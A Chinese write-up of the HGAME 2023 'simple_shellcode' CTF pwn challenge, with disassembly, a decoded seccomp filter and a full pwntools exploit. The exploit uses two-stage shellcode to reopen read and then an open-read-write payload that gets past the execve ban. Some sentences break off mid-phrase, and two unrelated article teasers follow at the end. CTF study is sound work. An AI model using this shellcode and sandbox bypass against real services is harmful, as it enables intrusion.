一、题目来源NSSCTF-Pwn-[HGAME 2023 week1]simple_shellcode ![]() 二、信息搜集![]() 发现是一个 64 位的 ELF 文件,并且保护措施基本上开全了。 三、反汇编文件开始分析程序首先用 mmap 在虚拟内存上开辟了一片空间,该空间的访问控制权限为“可读-可写-可执行”(因为 prot 参数的值为 7): [code].text:0000000000001336 buf= qword ptr -8
…………
.text:0000000000001355 018 41 B9 00 00 00 00 mov r9d, 0 ; offset
.text:000000000000135B 018 41 B8 FF FF FF FF mov r8d, 0FFFFFFFFh ; fd
.text:0000000000001361 018 B9 21 00 00 00 mov ecx, 21h ; '!' ; flags
.text:0000000000001366 018 BA 07 00 00 00 mov edx, 7 ; prot
.text:000000000000136B 018 BE 00 10 00 00 mov esi, 1000h ; len
.text:0000000000001370 018 BF 00 00 FE CA mov edi, 0CAFE0000h ; addr
.text:0000000000001375 018 B8 00 00 00 00 mov eax, 0
.text:000000000000137A 018 E8 41 FD FF FF call _mmap
[/code]
接着,程序调用 read 函数: [code].text:000000000000138B 018 48 8B 45 F8 mov rax, [rbp+buf]
.text:000000000000138F 018 BA 10 00 00 00 mov edx, 10h ; nbytes
.text:0000000000001394 018 48 89 C6 mov rsi, rax ; buf
.text:0000000000001397 018 BF 00 00 00 00 mov edi, 0 ; fd
.text:000000000000139C 018 B8 00 00 00 00 mov eax, 0
.text:00000000000013A1 018 E8 2A FD FF FF call _read
[/code]
需要注意的是:这里的 read 的第二个参数和以往我们看到的不太一样,这里使用的是 mov 指令而不是 lea指令。 这也就意味着,我们真正写入 rsi 的是地址 因此,这个和栈溢出可以说的八竿子打不着了,我们接着分析。 然后,我们就可以看到本程序所使用的沙箱: [code].text:00000000000013A6 018 B8 00 00 00 00 mov eax, 0
.text:00000000000013AB 018 E8 9E FE FF FF call sandbox
.text:000000000000124E public sandbox
.text:000000000000124E sandbox proc near ; CODE XREF: main+75↓p
.text:000000000000124E
.text:000000000000124E var_40= qword ptr -40h
.text:000000000000124E var_38= qword ptr -38h
.text:000000000000124E var_30= word ptr -30h
.text:000000000000124E var_2E= byte ptr -2Eh
.text:000000000000124E var_2D= byte ptr -2Dh
.text:000000000000124E var_2C= dword ptr -2Ch
.text:000000000000124E var_28= word ptr -28h
.text:000000000000124E var_26= byte ptr -26h
.text:000000000000124E var_25= byte ptr -25h
.text:000000000000124E var_24= dword ptr -24h
.text:000000000000124E var_20= word ptr -20h
.text:000000000000124E var_1E= byte ptr -1Eh
.text:000000000000124E var_1D= byte ptr -1Dh
.text:000000000000124E var_1C= dword ptr -1Ch
.text:000000000000124E var_18= word ptr -18h
.text:000000000000124E var_16= byte ptr -16h
.text:000000000000124E var_15= byte ptr -15h
.text:000000000000124E var_14= dword ptr -14h
.text:000000000000124E var_10= word ptr -10h
.text:000000000000124E var_E= byte ptr -0Eh
.text:000000000000124E var_D= byte ptr -0Dh
.text:000000000000124E var_C= dword ptr -0Ch
.text:000000000000124E var_8= qword ptr -8
.text:000000000000124E
.text:000000000000124E ; __unwind {
.text:000000000000124E 000 F3 0F 1E FA endbr64
.text:0000000000001252 000 55 push rbp
.text:0000000000001253 008 48 89 E5 mov rbp, rsp
.text:0000000000001256 008 48 83 EC 40 sub rsp, 40h
.text:000000000000125A 048 64 48 8B 04 25 28 00 00 00 mov rax, fs:28h
.text:0000000000001263 048 48 89 45 F8 mov [rbp+var_8], rax
.text:0000000000001267 048 31 C0 xor eax, eax
.text:0000000000001269 048 66 C7 45 D0 20 00 mov [rbp+var_30], 20h ; ' '
.text:000000000000126F 048 C6 45 D2 00 mov [rbp+var_2E], 0
.text:0000000000001273 048 C6 45 D3 00 mov [rbp+var_2D], 0
.text:0000000000001277 048 C7 45 D4 00 00 00 00 mov [rbp+var_2C], 0
.text:000000000000127E 048 66 C7 45 D8 15 00 mov [rbp+var_28], 15h
.text:0000000000001284 048 C6 45 DA 02 mov [rbp+var_26], 2
.text:0000000000001288 048 C6 45 DB 00 mov [rbp+var_25], 0
.text:000000000000128C 048 C7 45 DC 3B 00 00 00 mov [rbp+var_24], 3Bh ; ';'
.text:0000000000001293 048 66 C7 45 E0 15 00 mov [rbp+var_20], 15h
.text:0000000000001299 048 C6 45 E2 01 mov [rbp+var_1E], 1
.text:000000000000129D 048 C6 45 E3 00 mov [rbp+var_1D], 0
.text:00000000000012A1 048 C7 45 E4 42 01 00 00 mov [rbp+var_1C], 142h
.text:00000000000012A8 048 66 C7 45 E8 06 00 mov [rbp+var_18], 6
.text:00000000000012AE 048 C6 45 EA 00 mov [rbp+var_16], 0
.text:00000000000012B2 048 C6 45 EB 00 mov [rbp+var_15], 0
.text:00000000000012B6 048 C7 45 EC 00 00 FF 7F mov [rbp+var_14], 7FFF0000h
.text:00000000000012BD 048 66 C7 45 F0 06 00 mov [rbp+var_10], 6
.text:00000000000012C3 048 C6 45 F2 00 mov [rbp+var_E], 0
.text:00000000000012C7 048 C6 45 F3 00 mov [rbp+var_D], 0
.text:00000000000012CB 048 C7 45 F4 00 00 00 00 mov [rbp+var_C], 0
.text:00000000000012D2 048 66 C7 45 C0 05 00 mov word ptr [rbp+var_40], 5
.text:00000000000012D8 048 48 8D 45 D0 lea rax, [rbp+var_30]
.text:00000000000012DC 048 48 89 45 C8 mov [rbp+var_38], rax
.text:00000000000012E0 048 41 B8 00 00 00 00 mov r8d, 0
.text:00000000000012E6 048 B9 00 00 00 00 mov ecx, 0
.text:00000000000012EB 048 BA 00 00 00 00 mov edx, 0
.text:00000000000012F0 048 BE 01 00 00 00 mov esi, 1
.text:00000000000012F5 048 BF 26 00 00 00 mov edi, 26h ; '&' ; option
.text:00000000000012FA 048 B8 00 00 00 00 mov eax, 0
.text:00000000000012FF 048 E8 DC FD FF FF call _prctl
.text:00000000000012FF
.text:0000000000001304 048 48 8D 45 C0 lea rax, [rbp+var_40]
.text:0000000000001308 048 48 89 C2 mov rdx, rax
.text:000000000000130B 048 BE 02 00 00 00 mov esi, 2
.text:0000000000001310 048 BF 16 00 00 00 mov edi, 16h ; option
.text:0000000000001315 048 B8 00 00 00 00 mov eax, 0
.text:000000000000131A 048 E8 C1 FD FF FF call _prctl
.text:000000000000131A
.text:000000000000131F 048 90 nop
.text:0000000000001320 048 48 8B 45 F8 mov rax, [rbp+var_8]
.text:0000000000001324 048 64 48 33 04 25 28 00 00 00 xor rax, fs:28h
.text:000000000000132D 048 74 05 jz short locret_1334
.text:000000000000132D
.text:000000000000132F 048 E8 7C FD FF FF call ___stack_chk_fail
.text:000000000000132F
.text:0000000000001334 ; ---------------------------------------------------------------------------
.text:0000000000001334
.text:0000000000001334 locret_1334: ; CODE XREF: sandbox+DF↑j
.text:0000000000001334 048 C9 leave
.text:0000000000001335 000 C3 retn
.text:0000000000001335 ; } // starts at 124E
.text:0000000000001335
.text:0000000000001335 sandbox endp
[/code]
为了理解 sandbox,需要理解一下函数 函数原型: [code]#include [/code]
和其他函数有所区别的是,该函数所需要的参数即
其中提到的 classic BPF(cBPF) 指令指的是最早一代的 32-位“小虚拟机”指令集,它只有两个寄存器 A(累加器)和 X(索引),再加 16 个 scratch 内存槽 cBPF 的每一条指令是一个 struct sock_filter {
__u16 code; // 指令编码(类/大小/来源/操作)
__u8 jt; // 条件为真跳过的指令数 (jump-if-true)
__u8 jf; // 条件为假跳过的指令数 (jump-if-false)
__u32 k; // 立即数 / 偏移 / 返回值(视指令而定)
};
[/code]
在题目中对应的部分就是那一大块 mov 指令: [code].text:0000000000001269 048 66 C7 45 D0 20 00 mov [rbp+var_30], 20h ; ' '
.text:000000000000126F 048 C6 45 D2 00 mov [rbp+var_2E], 0
.text:0000000000001273 048 C6 45 D3 00 mov [rbp+var_2D], 0
.text:0000000000001277 048 C7 45 D4 00 00 00 00 mov [rbp+var_2C], 0
.text:000000000000127E 048 66 C7 45 D8 15 00 mov [rbp+var_28], 15h
.text:0000000000001284 048 C6 45 DA 02 mov [rbp+var_26], 2
.text:0000000000001288 048 C6 45 DB 00 mov [rbp+var_25], 0
.text:000000000000128C 048 C7 45 DC 3B 00 00 00 mov [rbp+var_24], 3Bh ; ';'
.text:0000000000001293 048 66 C7 45 E0 15 00 mov [rbp+var_20], 15h
.text:0000000000001299 048 C6 45 E2 01 mov [rbp+var_1E], 1
.text:000000000000129D 048 C6 45 E3 00 mov [rbp+var_1D], 0
.text:00000000000012A1 048 C7 45 E4 42 01 00 00 mov [rbp+var_1C], 142h
.text:00000000000012A8 048 66 C7 45 E8 06 00 mov [rbp+var_18], 6
.text:00000000000012AE 048 C6 45 EA 00 mov [rbp+var_16], 0
.text:00000000000012B2 048 C6 45 EB 00 mov [rbp+var_15], 0
.text:00000000000012B6 048 C7 45 EC 00 00 FF 7F mov [rbp+var_14], 7FFF0000h
.text:00000000000012BD 048 66 C7 45 F0 06 00 mov [rbp+var_10], 6
.text:00000000000012C3 048 C6 45 F2 00 mov [rbp+var_E], 0
.text:00000000000012C7 048 C6 45 F3 00 mov [rbp+var_D], 0
.text:00000000000012CB 048 C7 45 F4 00 00 00 00 mov [rbp+var_C], 0
[/code]
解码后的 5 条 BPF 指令如下(按内存从
这也就说明了,本题不允许使用的系统调用:
当然,这一部分的分析也可以交给 AI 来快速处理: ![]() 沙盒之后,就出现一个关键点: [code].text:00000000000013B0 018 48 8B 55 F8 mov rdx, [rbp+buf]
.text:00000000000013B4 018 B8 00 00 00 00 mov eax, 0
.text:00000000000013B9 018 FF D2 call rdx
[/code]
还记得我们一开始看到的 mmap 开辟的虚拟内存空间吗,那块的首地址就存在在 .text:000000000000134C 018 B8 00 00 FE CA mov eax, 0CAFE0000h
.text:0000000000001351 018 48 89 45 F8 mov [rbp+buf], rax
[/code]
那么,如果我们能向地址 四、思路汇总首先,我们整理一下有用的信息:
这么一联系,我们就可以知道本题的难点在于:
因此,我们的思路就是,先写入较短的 shellcode 实现再次写入且将写入的长度限制给放开,然后再写入较长的 shellcode 来获取 flag 且该 shellcode 需要符合沙盒要求。 五、Poc 构造[code]from pwn import *
exe = ELF("./vuln_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = exe
context(arch="amd64",os="linux",log_level="debug")
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("node5.anna.nssctf.cn",25836)
return r
def main():
p = conn()
shellcode = asm('''
mov rdi, rax;
mov rsi, rdx;
add rsi, 0x10;
syscall;
call rsi;
''')
p.sendafter(b'Please input your shellcode:',shellcode)
shellcode = asm(shellcraft.open("/flag")+shellcraft.read(3,0xcafe0010,0x50)+shellcraft.write(1,0xcafe0010,0x50))
p.send(shellcode)
p.interactive()
if __name__ == "__main__":
main()
[/code]
一步步分析,我们对第一次 shellcode 的要求就两个:
程序已经非常贴心地为我们准备了两行指令: [code].text:00000000000013B0 018 48 8B 55 F8 mov rdx, [rbp+buf]
.text:00000000000013B4 018 B8 00 00 00 00 mov eax, 0
[/code]
eax 中已经存放了 read 系统调用的系统调用号,rdx 中已经存放了我们要写入的位置即 因此,为了实现再次 read,我们只需要: [code] mov rdi, rax;
mov rsi, rdx;
add rsi, 0x10;
syscall;
[/code]
可是,写入完成之后,我们就已经用完了 没错,就像构造 ROP 一样,我们再后面跟上一条: [code] call rsi;
[/code]
此时 rsi 中存放的依旧是地址 我们可以检查一下 shellcode 的长度,我跑出来是 14,刚好满足小于 16。 后续,我们为了避免被沙盒过滤,采用 ORW 的方式来绕过。 当然,也可以直接使用: [code]shellcode = asm(shellcraft.cat("/flag"))
[/code]
来替换,因为 最终本地执行效果: ![]() 成功拿到 flag。 来源:程序园用户自行投稿发布,如果侵权,请联系站长删除 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |

个人电脑上的本地私有知识库:访答知识库全解析 什么是本地私有知识库 在信息爆炸的时代,如何高效管理个人知识成为许多人的痛点。本地私有知识库应运而生,它允许用户在个人电脑上建立专属的知识体系,确保数据安全
一、测试流程是什么?最近这个项目是比较全的因为我去的时候是从头跟进的,当时的话我们是有开项目立项会,然后的话我们组长去写他的一个测试计划,然后他给我们分模块,给项目排期,然后的话设计他的第一轮 第二轮